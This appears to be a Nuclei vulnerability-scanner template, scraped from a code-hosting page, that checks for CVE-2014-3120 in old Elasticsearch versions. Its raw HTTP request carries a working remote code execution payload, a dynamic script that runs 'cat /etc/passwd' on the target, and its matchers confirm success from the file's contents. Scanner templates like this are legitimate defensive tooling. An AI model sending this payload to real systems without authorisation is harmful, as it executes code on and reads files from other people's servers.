60 lines
1.7 KiB
YAML
60 lines
1.7 KiB
YAML
id: CVE-2014-3120
|
|
|
|
info:
|
|
name: ElasticSearch v1.1.1/1.2 RCE
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: |
|
|
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
|
|
- https://www.elastic.co/blog/logstash-1-4-3-released
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2014-3120
|
|
classification:
|
|
cve-id: CVE-2014-3120
|
|
tags: cve,cve2014,elastic,rce,elasticsearch
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /_search?pretty HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Accept-Language: en
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
{
|
|
"size": 1,
|
|
"query": {
|
|
"filtered": {
|
|
"query": {
|
|
"match_all": {
|
|
}
|
|
}
|
|
}
|
|
},
|
|
"script_fields": {
|
|
"command": {
|
|
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
|
|
}
|
|
}
|
|
}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "application/json"
|
|
part: header
|
|
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
part: body
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/02/24
|